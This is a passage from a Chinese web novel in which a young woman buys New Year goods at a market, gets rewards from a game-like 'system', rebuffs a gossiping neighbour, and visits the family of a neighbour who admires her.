“买年货啊?那你可遇对人了!”王大妈立刻热心地给她指路,“我跟你说,别去大商场,贵!你坐公交,去菜市口那边的市场,啥都有,年画、鞭炮、冻梨冻柿子,啥都比家门口便宜,还全乎!我们家老头子昨天刚去了,买了一大筐回来,划算得很!那边还有个副食店,东西也全还不贵!” 时墨连忙道谢:“谢谢王大妈!我正好去那边看看!” “谢啥,都是邻居!”王大妈笑呵呵道,“快去吧,早点去,去晚了好东西可都让人挑走了!”—— 作者有话说:肥章来喽 我可真优秀,天天上班还能写这老些【快来夸我】 第53章 时墨笑着应了, 往公交站走去。 坐了没几站,菜市口市场就到了。 一下车,扑面而来的就是裹着糖香、炒货香、冻果甜香的年味, 瞬间把人裹了个严实。 腊月里的市场, 比往日热闹了不止一倍。 马路两边的摊子从街头摆到街尾, 大姑娘小媳妇挎着布袋子、拎着网兜, 在摊子间挤来挤去,讨价还价的声音脆生生的;卖糖葫芦的老汉推着木车,车把上插满了红彤彤的山楂串,裹着亮晶晶的糖衣,扯着嗓子吆喝;卖年画的地摊一溜排开, 红彤彤的对联、福字、胖娃娃抱鱼的年画挂得满满当当, 红得晃眼。 卖鞭炮的摊子前围满了半大小子,小鞭、二踢脚、窜天猴、闪光雷堆得像小山, 老板拍着胸脯吆喝:“国营厂子出的炮, 响得很!” 旁边的冻货摊子上,黑黝黝的冻梨、黄澄澄的冻柿子摆了满满一筐, 五毛钱就能买一大兜。 还有扯着花布、红头绳的布摊, 炒得喷香的花生瓜子炒货摊, 现写现卖对联的毛笔字摊子, 吆喝声、笑闹声、孩子们的尖叫声混在一起, 浓浓的年味扑面而来,时墨恍惚了一瞬,眼前是后世难寻到的鲜活热闹。 时墨顺着人流慢悠悠往前走, 眼睛都看不过来了,东瞅瞅西看看,心里满是新奇。 路边供销社门口支着年画棚子, 有抱着大鲤鱼的胖娃娃,有开着拖拉机的农民,有站岗的解放军战士,色彩鲜艳,看着就喜庆。 旁边还有卖对联的,红纸黑字,有的写着“春回大地”,有的写着“福满人间”。有个老头蹲在那儿,正拿着毛笔现写现卖,旁边围了一圈人看热闹。 时墨凑过去看了看,老头字写得不错,苍劲有力的字落在红纸上,引得围观的人连连叫好。 她挑了两副寓意好的对联,又买了几张烫金福字,卷得整整齐齐塞进了布袋子。 往前走没多远,就是王大妈说的副食店。 还没进门,就闻见了浓郁的奶糖香和酱油香。 店里人挤人,都围着柜台买年货,时墨挤进去,就看见玻璃柜台里摆得满满当当的糖果。大白兔奶糖、话梅糖、高粱饴、花生牛轧糖、大虾酥,还有印着红双喜的水果硬糖……还有好多她小时候见过的,后来慢慢消失了的牌子。 “同志,您要点什么?”售货员是个扎着两条麻花辫的姑娘,穿着白大褂,说话脆生生的,手脚格外麻利。 “同志,大白兔奶糖来两斤,话梅糖一斤,高粱饴一斤,花生牛轧糖再来一斤。”时墨笑着指了指柜台里的糖果。 售货员愣了一下,上下打量她一眼,笑着打趣:“哟,小姑娘家里这是要大办啊?买这么多糖,过年招待客人可够排场了!” “过年嘛,家里人多,多买点热闹。”时墨笑着应了。 售货员手脚麻利地用油纸包好,又用纸绳捆得方方正正,称完递过来:“一共八块六。” 时墨付了钱,把糖果装进布袋里。 从副食店出来,又往前走了几步,看见一个卖风车的摊子。 五颜六色的纸风车插在稻草捆上,风一吹,哗啦啦转个不停,好看极了。 她小时候最爱这种手工风车,当即挑了一个最大的,又挑了两个小巧的,心里盘算着大的挂院里,小的她和哥哥屋里各挂一个。 “同志,这风车多少钱一个?” “大的1毛,小的5分。”卖风车的老汉脸上刻满了皱纹,笑起来格外憨厚。 时墨给了2毛钱,拿着风车,脚步都轻快了不少。 【恭喜宿主!逛年货市场属于休闲娱乐活动,完美符合躺平规则!奖励能量币100点!】 时墨心里乐了:【这也有奖励?】 【系统鼓励宿主进行符合节日氛围的适度消费,有益身心健康!躺平不是躺死,要享受美好生活!】 【你这词儿还挺新潮。】时墨笑着打趣。 又听系统叽叽喳喳地报喜:【宿主!你之前冻结的资产已经解冻了666元,现在账户冻结剩余1924元,可支配的钱变多啦,可以使劲花!】 【你这可真是使了大劲儿。】 【啊?】 【退下吧。】 【喏。】 【你最近追什么剧呢?】 【大汉王朝!】 【……行,继续看去吧。】 时墨打发了系统,又逛了一圈,买了瓜子、花生、红枣、柿饼,又买了一兜冻梨和一兜冻柿子,想着带回家给爸妈和哥哥尝尝。还买了几张大红纸,准备回去剪窗花。布袋装得满满当当,沉得她手腕都发酸。 路过一个卖手工灯笼的摊子,时墨又走不动道了。 红纸糊的小灯笼,带着木柄,里面能点小蜡烛,提在手里亮堂堂的,过年晚上提着出去最是应景。她挑了一个带兔子图案的,想着三十晚上提着玩, 【叮!恭喜宿主,购买传统民俗用品,弘扬中华文化,额外奖励能量币30点!】 时墨愉悦道:【系统,你今天有点大方啊。】 【系统检测到宿主今日超额躺平标准,奖励标准随之提升。】 时墨拎着大包小包,心满意足地往回走。 路过卖鞭炮的摊子,摊主正在那吆喝:“小鞭、二踢脚、闪光雷、窜天猴!过年不放炮,白在世上跑!” 时墨想起时建军说要买鞭炮,又停下来挑了几挂小鞭,几个二踢脚,还有一把窜天猴。 【叮!恭喜宿主,购买烟花爆竹,符合传统节日习俗,奖励能量币40点!】 坐上回家的公交,时墨靠在座位上,看着窗外的街景。 街上人来人往,大家都忙着置办年货。有人拎着肉,有人拿着酒有人抱着扯好的新花布,。孩子们在街边放小鞭,噼里啪啦响一阵,然后笑着跑开。 时墨抱着满满一布袋年货,嘴角忍不住扬了起来。 车窗外,推着板车卖糖葫芦的老汉吆喝着走过,红彤彤的山楂串成一串,在阳光下亮晶晶的。 她想起那个卖风车的老汉笑,收了钱还笑呵呵地跟她说了:“过年好啊,丫头。” 她也高兴的回了句。 “过年好啊。” * 时墨拎着鼓鼓囊囊的布袋子,从公交上挤下来的时候,沉得手腕都发酸。 系统突然好心提醒道:【宿主,温馨提示。您拎重物属于劳累行为,违反躺平原则。但本次因是休闲购物附带行为,不做惩罚,下次记得找人帮忙哦!】 时墨无语地翻了个白眼:【你整点有用的,比如给我整个不花钱的手拉车。】 系统沉默两秒,立刻献宝:【宿主,商城有折叠手拉车,500点能量币就能兑换,需要吗?】 【500点?抢劫都没你来的快。】时墨惊呼道,【我攒点币容易吗?下次我自己做一个,你这奢侈品算了。】 系统立刻蔫了,不再吭声。 时墨一路走一路歇,好在离家就几百米,好不容易挪到家属院门口,正好撞见时建军骑着自行车下班回来。 “哎哟我的天!你买了多少东西?”时建军老远就看见妹妹拎着袋子挪不动步,赶紧跳下车,几步跑过来,一把把布袋子接了过去,入手沉甸甸的,差点没拎住,“你这是把市场搬回来了?这么沉!” “也没多少,就是年画、对联、糖果瓜子,还有点冻梨冻柿子啥的。”时墨甩了甩发酸的手腕,笑着把手里的风车、灯笼递给他,“诺,给你买的小风车,过年挂屋里,喜庆吧。” 时建军看着手里红艳艳的风车,嘴上说着“我都多大了还玩这个”,手却宝贝似的接了过去,小心翼翼地拿着,把布袋子放进车座上,推着自行车跟妹妹往里走。 正好赶上下班的点,家属院门口的人渐渐多起来。 都是下班的工人和买菜回来的家属,有骑着自行车回来的,有拎着菜篮子的,还有几个刚下班的女工说说笑笑往院里走,看见兄妹俩拎着大包小包,不少人都笑着打招呼。 “哟,时家丫头买年货回来啦?”住二楼的刘婶眼尖,一眼看见车筐的鼓囊囊的布袋子,笑着凑过来,“买的啥呀?让婶子开开眼!” “就买了点糖果、对联啥的,刘婶您也买年货去了?”时墨笑着应了。 刘婶往布袋子露出的空隙里瞄了一眼,啧啧两声:“哎哟,时丫头这是发财了啊?买这么多好东西,这得花多少钱啊?” “过年嘛,家里人多,多买点。”时墨随口应着。 正说着,住三楼的李婶拎着菜篮子走了过来,她斜眼瞟了瞟时墨手里的袋子,撇了撇嘴,跟身边的张嫂阴阳怪气地嘀咕:“人家现在是大作家了,出书挣大钱,买点年货算啥?哪像咱们普通工人家庭,一分钱都得掰成两半花,比不了。” 声音不大不小,正好让时墨兄妹俩听得一清二楚。 张嫂也跟着附和:“可不是嘛,我们家过年顶多买两斤水果糖,哪敢这么造。你看人家,大白兔奶糖都成斤买,真是人比人气死人。” “就是不知道这钱,花着踏不踏实。”李婶撇了撇嘴,声音又提了提,正好让周围的人都听见,“小小年纪,不专心读书,天天净琢磨吃喝玩乐了,心思都不用在正地方,以后有她后悔的。” 时建军的脸瞬间就沉了下去,刚要开口,时墨先一步按住了他的胳膊,脸上带着笑,语气却凉飕飕的:“李婶,您这话我就听不懂了。我买年货的钱,是我写小说挣的稿费,光明正大交了税,国家都认可,怎么就花着不踏实了?” 她往前迈了一步,目光扫过李婶几人,不紧不慢地继续说:“谁家过年不买几斤糖?合着您家过年,连半斤糖都舍不得给孩子买?还是说,您家买糖的钱,花着也不踏实?” 李婶被噎了一下,干笑道:“你这丫头,怎么说话呢?我不就是随口说一句?” “随口说一句?”时墨挑了挑眉,冷笑一声,“您随口一句,就说我心思不正,钱来路不明,合着我凭本事挣钱,还得看您脸色花?再说了,我花我自己的钱,买的都是过年用的寻常东西,别说是几斤糖,就算我买山珍海味,也是我自己的本事,您管得着吗?” “您要是羡慕,也让您家孩子凭本事写书挣钱去,别在这儿阴阳怪气的,嚼人舌根,也不怕闪了舌头。” 时建军在旁边立刻补了一句,声音洪亮:“就是!我妹挣钱光明正大,轮得到你在这儿说三道四?再敢嚼我们家舌根,别怪我不客气!” 李婶脸上的笑瞬间僵住。 兄妹俩一唱一和,一个怼得人哑口无言,一个镇得住场子,周围的邻居都偷偷憋着笑。 谁都知道李婶爱嚼舌根,之前造谣时墨的事,院里早就传开了,许多人都看不上她。 “你!”李婶的脸涨成了猪肝色,气急得一句话都说不出来,站在原地,脸一阵红一阵白,周围人的目光像针似的扎在她身上,想要身边人帮她说句话,扭头一看,人早就溜走了。 刘婶是个爽快人,笑着打圆场:“哎呀,各家有各家的过法。墨墨这是头回当家,买点好的应该的。李妹子你也别站着 了,快回去做饭吧,你家那口子该等急了。” 张嫂讪讪地应了一声,拎着菜篮子走了。 时墨冲刘婶笑了笑:“谢谢刘婶。” “谢啥。”刘婶摆摆手,压低声音说,“她那嘴,全院都知道,你别往心里去。买了啥好东西,给婶子看看?” 时墨大大方方把布袋打开,把买的东西一样样拿出来给她们看。 “哟,这对联字儿真漂亮!” “是吧,我看写字的老大爷周围为了一堆人,我挤进去一看,嘿真不错,赶紧买几幅!” “是好看,在哪买的?” “菜市口那边的市场,人老多了。” “这风车好看,我孙子肯定喜欢,是丫头你这个也在菜市口买的?” “对。” “哟,着冻梨不错,冻得透,黑黝黝的肯定甜!” 几个婶子大娘围过来,七嘴八舌地夸着,有的还问在哪儿买的,时墨一一说了。 热热闹闹聊了几句,天色不早了,大家才散了各自回家。 时建军拎着袋子,跟着妹妹上楼,一进门就笑了:“妹,你刚才说李婶那几句,真绝!说得她一句话都说不出来,太解气了!” 时墨脱了棉袄,一脸无辜道:“谁让她欠说,那么大岁数人了,天天见不得别人好,也不知道图啥。” 时建军啧了一声,把买的东西一样样拿出来归置。对联和福字放在桌上,糖果用罐子装起来,冻梨冻柿子拿到厨房去。 时建军看着时墨,忽然说:“妹,你是不是特别烦那种人?” “哪种人?” “就见不得别人好那种。”时建军说,“看你家条件好了,就在那儿说酸话。” 时墨想了想,说:“烦不烦的,也犯不上跟她们计较。日子是自己过的,又不是过给别人看的。” 时建军愣了一下,笑了:“你这丫头。” 李秀兰下班回来,看着家里多出来的东西,笑得合不拢嘴,摸着年画连连夸:“哎哟,我们墨墨眼光就是好,买的这年画,瞧瞧,多真喜庆!这福字写得也好!大气!” “那是,我妹挑的,能不好吗?”时建军得意地扬了扬下巴,把路上李婶嚼舌根的事跟李秀兰说了一遍,李秀兰气得脸都白了,骂了两句,又心疼地摸了摸时墨的头:“说得好!以后她再敢胡说八道,妈帮你骂她!咱们家光明正大挣钱,不怕她嚼舌根!” 一家人围着桌子,分着糖果瓜子,贴年画的位置也定好了,这么一弄,满屋子都是过年的喜气。 * 过了两天,时建军放了年假。 一大早,他就把时墨的窗帘拉开了,阳光瞬间涌进屋里:“快起快起,不是说去小院收拾吗?再不起来太阳都晒屁股了!” 时墨迷迷糊糊睁开眼,看见窗外天刚蒙蒙亮,哀嚎一声被子蒙过头顶:“哥,这才几点啊……” “七点了!快起来!再磨蹭下去,一上午就过去了!”时建军拍了拍她的被窝,催促道,“妈说了,让咱顺路去老院子那两家房租收了,赶紧起,我都把自行车擦好了。” “啊——才七点!”时墨裹着被蜷缩成一团,闷在被子里嚷嚷,“我不管,八点再叫我!” 时建军无奈地看着眼前的一团“蚕蛹”:“行,八点,说好了啊,再不起我可就泼凉水了。” “嗯嗯,窗帘拉上。”时墨迷瞪地敷衍着。 八点一到,时建军准时出现在时墨床前,敲了敲床头。 “八点了啊。” “昂,起了起了,你出去我换衣服。” 时建军出去了,在客厅等了十分钟,屋里还没动静。他推门一看,他妹睡得四仰八叉,被子蹬到一边,睡得正香。 他转身去洗漱间,把毛巾用凉水浸透,拧到半干不滴答水,走回卧室,把毛巾轻轻摊在她脸上。 “啊——!” 时墨被冰得嗷一嗓子,蹭地一下坐起来,瞬间清醒。 她拿下毛巾,看见床边她哥那张无辜的脸,斜着眼:“艾服了you。” “啥玩应儿?今早没油条。” “……” “快起来,八点零五了。”时建军笑着往外走,“早饭都做好了在锅里闷着,小米粥配咸菜,还有你爱吃的煮鸡蛋。” 时墨这回彻底醒了,磨蹭着穿好衣服,洗漱完吃了口早饭,兄妹俩骑车往小院那边去。 冬天的早上冷得人直缩脖子,寒风刮在脸上跟小刀子似的,时墨坐在自行车后座,把手闷子揣进时建军棉袄口袋里,晃着腿,嘴里还哼着歌。 “哥,咱们先去院里收拾收拾,贴个对联福字。妈说了,让咱们顺路把那两间出租房的房租收了。”时墨裹着厚围巾,声音闷闷的。 “放心吧,包在哥身上!收拾屋子、收房租,都不用你动手,你就在旁边歇着,晒晒太阳。”时建军自行车蹬着直冒汗,冬天的寒风刮在脸上,他却一点都不觉得冷。 “妹啊,哥得提醒你一句。”时建军忽然开口。 “啥?” “你刚说的,是我早上说的话。” 时墨沉默片刻,狠狠给了他后背一杵子。 “哎哟喂,完了完了,我负伤了,骑不动了。”时建军故意来回晃动起自行车,冷不丁给时墨吓一跳,瞬间搂紧她哥腰,嗷嗷喊:“时建军!你好好骑!再晃我回家告诉爸妈!” 大名都被喊了,时建军立马将车骑稳,连连认错:“哥错了哥错了,不该吓你。你大人有大量,千万别跟爸妈说啊,不然爸得捶我。” 时墨哼了一声,才松开手。 等到了胡同口,拐进去没两分钟,时墨一眼就看见谢时昀院门口喜庆的装饰。 朱红大门上已经贴好了烫金的福字,门檐下挂着两个大红灯笼,门两边贴着崭新的对联,上写“春回大地千山秀”,下联“日暖神州万物荣”,横批“国泰民安”,笔力遒劲,一看就是好字。门口的石狮子擦得锃亮,脖子上还系了红绸子,看着就透着过年的喜气。 时墨忍不住多看了两眼。 时建军骑着车从谢家门口经过,忽然“咦”了一声,放慢了速度。 “咋了哥?” “你看咱那小院门口。”时建军努了努下巴。 时墨顺着看过去。 她买的那处小院,门口干干净净,别说积雪了,连片枯叶子都没有。门前的石板路一尘不染,显然是刚打扫过没多久。 “肯定是谢哥帮咱清的。”时建军停下车,等时墨蹦下来,才把自行车支好,“谢哥这人真没得说,这胡同里除了他,没人会帮咱们扫门口。也就他隔三差五给咱扫扫,比亲哥还上心。” 时墨心里微动:“一会儿收拾完,咱去买点东西,上门谢谢人家。” “那必须的。”时建军点头,“稻香村点心匣子肯定要买,再买点水果啥的。” 兄妹俩说着,时墨掏出钥匙开了锁,推门进了院子。 一进院,时建军就开始忙活起来。 先把堂屋的炉子生上,添了煤块,让屋里慢慢暖起来,又把窗户打开透透气,然后拿着扫帚扫灰、擦桌子、拖地,忙得脚不沾地。 时墨刚拿起抹布,就被时建军一把抢走了。 “你别动!”时建军把她按在椅子上,“你这手是用来写字、辨宝贝的,不是干粗活的。有哥在,你坐着歇着,擦擦你那宝贝家具上的浮灰就行,重活全交给我。” 时墨被她哥弄的哭笑不得,解释道:“哥,我这就是要擦擦老家具雕花里的积灰。细活儿,你干不了。” “哦,那行,你弄去吧。”时建军把抹布还给她,“精细活儿归你,粗活儿归我。” 他说着又去院里扫雪了。 时墨擦着八仙桌上的雕花,透过窗户看见她哥在院里干得热火朝天。 “哥,你歇会儿再干,忙乎半天了,喝口水缓缓。”时墨拿起桌上的搪瓷缸,给时建军倒了杯热水,招呼道。 “没事,马上就干完了!”时建军笑着说道,“这干活不能歇,一口气干完完事,不然一停下来就懒得动了。” “是这个理儿。”时墨点头赞同。 时墨擦完老家具,靠在太师椅上,欣赏起自己的家当。 八仙桌气派,太师椅稳重,条案雅致,架子床繁复精美…… 再看博古架上摆着这些日子掏来的古董,真是越看越喜欢,等过完年有空了,再去淘几幅字画挂在墙上,这屋子肯定更有味道。 【宿主全程未参与重体力劳动,完美符合躺平规则!奖励能量币100点!】系统欢快的声音突然响起。 时墨嘴角抽了抽:【你这出现得还挺及时。】 【那必须的!宿主躺平,系统开心!】 【你是奖金多了才开心吧。】 【嘻嘻嘻。】 时墨懒得理它,透过窗户看见她哥从杂物房里搬出梯子,要去贴对联,连忙走出去帮忙。 “哥,我帮你看看正不正。” “行,我爬上去,你看着点。”时建军把梯子架好,爬上去抹浆糊。 “你可小心点,我给你扶着梯子吧。” “哎呀,不用,这梯子稳着呢。” 时建军爬上梯子抹上胶水,拿起对联比划着。 “妹你看正不正。” “往左点。” “这样?” “太左了,稍微往右一点点。诶,对对对,别动了,就那儿!” 时建军把对联摁实了,又开始贴福字。 “哥你这俩福字贴对正点,好看。” “这样呢?” “右边那个再往远点,间距太大了。” 时建军挪了挪:“现在呢?” 时墨退后几步看了看,比了个OK的手势:“完美!” 对联、福字贴在了大门和屋门上,原本冷清的房子,瞬间就有了浓浓的年味。 “哥,你歇一会儿,喝口水咱们再去收租。”时墨给他倒了杯温水递过去。 时建军接过水,咕咚咕咚喝了,抹了把汗:“不歇了,这点活算啥,比我上班轻松多了,这就走。” 兄妹俩锁好院门,骑车往老院子那边去。 而对面谢家二楼,谢时昀站在窗前,将小院里的一切都看在眼里。 他看到时墨穿着红棉袄在院子里走来走去,一会儿仰着头指挥她哥贴对联,一会儿退后几步端详,一会儿又比划着什么。隔得远,听不见她在说什么,但能看见她脸上带着笑。 看到时墨抬头看对联时,阳光照在她脸上,眉眼弯弯,他嘴角不自觉地跟着扬了起来。 “看什么呢?” 身后突然传来声音,谢时昀回头,看见他妈苏婉云端着一盘切好的苹果站在身后。 “妈,你什么时候来的?” “来有一阵了。”苏婉清走过来,顺着他的目光往对面院子瞟了一眼,“看什么呢?这么入神。” 对面院子里空空荡荡,什么人都没有。 谢时昀接过果盘:“没什么,透透气。” 苏婉清看了儿子一眼,没再多问,心里却有了数。 自家儿子今年二十七了,在研究所工作好几年,身边从来没出现过女孩子,也从来不谈对象。 现在开公司更没空了,给她愁够呛,她催了无数次,他都说“不急”。可最近,她总觉得儿子有点不一样了。 苏婉清面不动声色,只是笑着说:“赶紧吃苹果,放久了就不好吃了。” “嗯。” 谢时昀捏起一块苹果,目光又不自觉地往窗外飘了一下。 苏婉清顺着他的目光看过去,对面院子里什么都没有,只有两扇刚贴了对联的红门。 她收回目光,心里暗暗琢磨。 * 另一边,时墨兄妹俩骑着车到了老院。 她买的那三间房里,有两间都租出去了。租户都是本分的工人家庭,房租每月一结,从来没拖欠过。 看见兄妹俩过来,两家人连忙把早就准备好的房租递了过来,还硬往他们手里塞东西。 “时丫头,真是太谢谢你了,房租一直没给我们涨,这大冷天的还特意跑一趟。”租户大姐笑着递过来一个玻璃罐,“这是我自个儿腌的咸菜,你拿回去尝尝,就粥吃最合适了。” “谢谢大姐。”时墨笑着接过来,“对了,房子有没有什么要修的?窗户严实不严实?炉子好使吗?” “都好都好!”大姐连连摆手,“这房子虽然老了点,但结实着呢,冬天一点儿都不透风。你们放心吧!” 另一家人说道:“是啊,房子要是有啥坏的,我们自己就修了,不用你跑前跑后的。” “行,房子有啥问题随时给我们捎信就行。”时墨跟他们寒暄了两句,说了几句过年的吉利话,才和时建军离开。 收完房租,两人骑车去了附近的供销社。 供销社里人不少,都是置办年货的。时墨挑了两盒稻香村的点心匣子,又挑了两罐黄桃罐头,时建军又拿了一兜苹果、一兜橘子,用网兜装着,挂在车把上,往谢家那边去。 两人到了谢家大门口,里面隐隐传来说话声。 时建军上前敲了敲门。 没过一会儿门,门“吱呀”一声就开了,谢时昀站在门内,看见时墨的那一刻,眼里的笑意藏都藏不住。 “时墨?建军?快进来!”他连忙侧身让开路,招呼两人进院,“外面冷,进屋说话。” “谢哥,我们就是来拜个早年,顺便谢谢你一直帮我们扫门口,就不进去麻烦了——”时墨话还没说完,身后忽然传来一个中年男人的声音:“儿子,谁来了?” 时墨顺着声音看过去,一个穿着灰色毛衣、戴着眼镜的中年男人从院子里走出来,眉眼温和,气质儒雅,一看就是读书人。 谢时昀笑着介绍道:“爸,这是我对面邻居时墨和她哥哥时建军。建军,时墨,这是我父亲。” 谢振邦笑着走过来,目光温和地打量着兄妹俩:“是时丫头和建军啊?快进屋坐,外面冷。早就听时昀提起你们了,一直没机会见见。” 时墨连忙摆手:“叔叔您太客气了,我们就是来拜个早年,顺便谢谢谢哥帮我们清了院子的雪,就不进去打扰了——” “这叫什么话?”谢振邦笑着打断她,“既然是邻居,又是朋友,哪有到了门口不进屋的道理?快进来,正好赶上饭点儿,一起吃顿便饭。” 时建军有些不好意思道:“这……太麻烦了吧?” “不麻烦不麻烦。”又一道温柔的声音响起。 苏婉清不知什么时候也出来了,站在丈夫身边,笑容温和得体。 时墨扫过她藏青色的毛衣,和梳得一丝不苟的头发,对这位透着书卷气的长辈点了下头。 “时昀这孩子,平时也不跟我们说交了些什么朋友。”她笑着说,“难得你们来,正好让我们认识认识。” 长辈话说到这份上,兄妹俩也不好再推辞,只好跟着进了门。 一进院门,时墨才真正见识到什么叫做“别有洞天”。 这院子比她那个小院大了不止一倍,青砖灰瓦,抄手游廊,墙角还堆着假山石,旁边有个小小的鱼池,这会儿结了薄薄一层冰。 地上的青砖擦得干干净净,从大门口一直铺到正房。正房窗前种着一丛竹子,冬天也绿油油的。廊下挂着几个鸟笼,里面的画眉叫得正欢。 时墨面色如常,心里评估起来。 时建军可就没那么淡定了。 他眼睛都看直了,下意识地看向身边的妹妹,见她神色淡定得很,从容不迫,半点惊讶的样子都没有,像是在逛自家后花园。他心里暗暗佩服,赶紧绷住脸,不让自己显得太没见过世面。 进了正屋,更是豁然开朗。客厅宽敞明亮,摆着一整套红木家具,圈椅、茶几、条案,都擦得锃亮。 墙上挂着几幅名家字画,时墨扫了一眼,落款是几个近代书画家的名字,尤其还有白石老人的!时墨不免多看了两眼。 多宝阁上摆着瓷器、玉器,还有成套的线装书,处处透着书香门第的雅致和讲究, “快坐,别拘束,就跟在自己家一样。”苏婉清热情地招呼他们坐下,转身去倒茶。 谢时昀端过来一个果盘,里面摆着瓜子、花生、糖果,放在茶几上。 苏婉清提着茶壶过来,给他们倒了热茶:“来,喝杯热茶暖暖身子。这是时昀从杭州带回来的龙井,你们尝尝。” “谢谢阿姨。”时墨双手接过茶,礼貌地道谢。 时建军也跟着接过茶,有样学样地说了声“谢谢阿姨”,然后端着茶杯不敢动,余光瞄着妹妹,妹妹怎么做他怎么做。 他实在是不知道该怎么跟知识分子的长辈打交道,尤其还是首都大学的教授! 谢振邦和苏婉清在对面坐下,目光自然而然地落在了时墨身上。 “时墨同志,你捐国宝的事迹,我可是在报纸上看到了。”谢振邦笑着开口,语气里带着几分欣赏,“小小年纪就有这份胸襟和见识,实在难得。你对书画也有研究?” 时墨笑了笑,不卑不亢地回道:“叔叔过奖了。我就是运气好,碰上了。真正难得的是那些保护文物的专家,我这不算什么。” “这孩子,太谦虚了。”谢振邦笑着看向妻子,“你看,现在年轻人能有这份心气的,不多了。” 苏婉清点点头,目光温柔地看着时墨:“听时昀说,你学习成绩也很好,年级第一?” 时墨看了谢时昀一眼,笑道:“谢哥过誉了,就是正常学,没什么特别的。” “别叫谢哥了,听着生分。”苏婉清笑着说,“就叫时昀哥,或者直接叫名字也行。” 时墨从善如流道:“时昀哥。” 谢时昀在旁边听着,嘴角微微弯了弯,端起茶杯抿了一口,遮住那点笑意。 谢振邦又问:“听时昀说,你父母都在红星机械厂工作?” 时建军一听问到父母,立刻精神了,抢着答:“对,我爸是厂里的老技工,我妈在纺织厂当车间班长,我爸还挂在谢哥公司做技术顾问呢。” “不错,都是实在人家,孩子也都教育得好,踏实本分,难怪时墨这么懂事。”苏婉清越听越满意,笑着看向他:“你也是在机械研究所工作吧?听时昀提起过,说你也是技术骨干了。” 时建军脸有点红,连连摆手:“不不不,我就是个新来的,还有很多东西要跟师傅学习。” “能进首都机械研究所,已经很不简单了。”谢振邦说,“那是咱们国家顶尖的研究机构,能进去的都是人才。年轻人肯学肯干,前途无量。” 时建军被夸得不好意思,红着脸笑了笑。 苏婉清又问起时墨家里还有什么人,时建军一一答了,有什么说什么,恨不得把家底都交代清楚。 时墨在旁边听着,心里直叹气。 她哥这实心眼子,人家问什么答什么,一点防备都没有。 苏婉清她又看向时墨,笑着问:“墨墨,你平时除了看书、写小说,还有什么爱好啊?看你这孩子,安安静静的,性子真好。” “也没什么特别的爱好,平时就看看书,淘点老物件,没什么特别的。”时墨笑着回道,不动声色地把话题引开,“听时昀哥说,阿姨您是教现代文学的?我平时也爱写点东西,以后说不定还要多向您请教。” “哎哟,那可太好了!”苏婉清眼睛一亮,刚要接着说,就被谢时昀打断了。 谢时昀早就看出父母在旁敲侧击地打探,怕时墨不自在,立刻笑着岔开了话题:“爸,妈,你们别光顾着问了,人家时墨和建军第一次来,都被你们问拘谨了。对了爸,上次厂里那台德国机床,还是时墨爸爸帮忙修好的,技术是真厉害。” 他这话,既捧了时爱国,又给时墨解了围,还把话题从时墨身上引开了。 谢振邦立刻顺着话头,跟时建军聊起了机械、机床的事,时建军聊起自己的专业,瞬间不紧张了,话也多了起来,跟谢振邦聊得热火朝天。 苏婉清也没再追问时墨,只是时不时地给她添茶,看着她的眼神,越看越满意。 谢时昀坐在旁边,目光时不时地落在时墨身上,看见她一块糖没吃,就把果盘里的瓜子、花生推到她面前,把糖果盘悄悄挪开。 苏婉清把儿子这些小动作看在眼里,跟丈夫对视了一眼,夫妻俩都了然地笑了。 时建军聊着聊着,忽然发现不对劲。 谢教授跟他聊机床是假,时不时地就拐到时墨身上,问一句“你妹妹平时在家也这么爱看书?”“你妹妹写小说,平时是不是经常熬夜?”,苏阿姨更是一口一个“墨墨”,问她喜欢吃什么,过年有什么安排,那眼神,活像看未来儿媳妇似的。 时建军心里瞬间泛起了嘀咕,偷偷给时墨使了个眼色。 时墨无奈地眨了眨眼,示意他别慌,接起话:“阿姨您和叔叔两人教书育人,桃李满天下,这才是真本事。”时墨适当捧道,“我以后要是考进首都大学,说不定还能听您的课呢。” 苏婉清惊喜道:“你想考首都大学?好啊!有志气!你成绩这么好,肯定没问题。到时候来找我,我给你指点指点。” “那就先谢谢阿姨了。”时墨笑着道谢。 一来一往,时墨把话题从自己家巧妙地引到了谢家,又恰到好处地夸了谢家几句,分寸拿捏得恰到好处。 苏婉清心里暗暗点头。 这姑娘,聪明,有分寸,说话做事滴水不漏。不卑不亢,不骄不躁,该说的时候说,不该说的时候知道闭嘴。难怪儿子…… 她看了一眼谢时昀,发现儿子正端着茶杯,视线却一直在时墨那边,脸上的笑意比她一年见过的都多。 苏婉清心里有数了。 她又问了时墨几句,什么平时喜欢看什么书,对什么专业感兴趣,以后有什么打算。时墨一一作答,既不刻意表现,也不过分谦虚,回答得恰到好处。 谢振邦在旁边听着,也暗暗点头。 聊了大概半个多小时,时墨觉得差不多了,放下茶杯,笑着起身:“叔叔,阿姨,今天打扰太久了,我们该回去了。谢谢你们的招待。” “这么快就走?”苏婉清有些不舍,跟着站起来,“再坐会儿,吃了饭再走啊。我炖了排骨,马上就好!” “不了阿姨,真的不麻烦了。”时墨笑着推辞,悄悄扯了下她哥的衣角,“家里还有事,我妈让我们早点回去。改天有机会再来拜访。” 时建军立刻反应过来,也跟着起身道谢:“谢谢叔叔阿姨的招待,我们就不打扰了。” 谢振邦和苏婉清又挽留了几句,见他们坚持要走,只好让谢时昀送他们出去。 谢时昀送他们到门口,从门口筐里拎出一大兜冻梨,塞到时墨手里:“这是朋友从东北带过来的,冻得透透的,特别甜,你们拿回去尝尝。” “这怎么好意思,我们来给你送年礼,还拿你的东西。”时墨连忙推辞。 “拿着吧,不值什么钱,就是点尝鲜的东西。”谢时昀把兜子塞进时建军手里,看着时墨,笑道,“家里有什么事,随时喊我就行,别跟我客气。过年要是没事,带叔叔阿姨一起去逛厂甸庙会,热闹得很。” “行,知道了,谢谢谢哥。回去吧,外面冷。”时墨笑着点了点头,跟时建军骑上自行车,挥挥手走了。 谢时昀听到时墨改回称呼,眨了下眼,站在门口,看着他们,叮嘱道,“路上慢点。” “知道了,回见!” 谢时昀站在胡同口,看着两人的身影消失在路尽头,才转身回去。 谢时昀送完人回来,刚迈进门槛,就对上父母两双意味深长的眼睛。 苏婉清端着茶杯,笑眯眯地看着他:“时昀,过来坐。” 谢时昀脚步顿了顿,心里猜到父母要问什么,面不动声色,走过去坐下:“怎么了?” “你说怎么了?”苏婉清放下茶杯,目光里带着笑意,也带着心疼,“这姑娘,你追得上吗?” 谢时昀没想到母亲这么直接,愣了一瞬,随即苦笑:“妈,你说什么呢。” “我说什么你心里清楚。”苏婉清看着他,“当妈的看不出来?你看人家那眼神,都快把人看出个洞来了。我和你爸回来这些天,看你没少帮人扫院子,你以为我们不知道?” 谢时昀沉默。 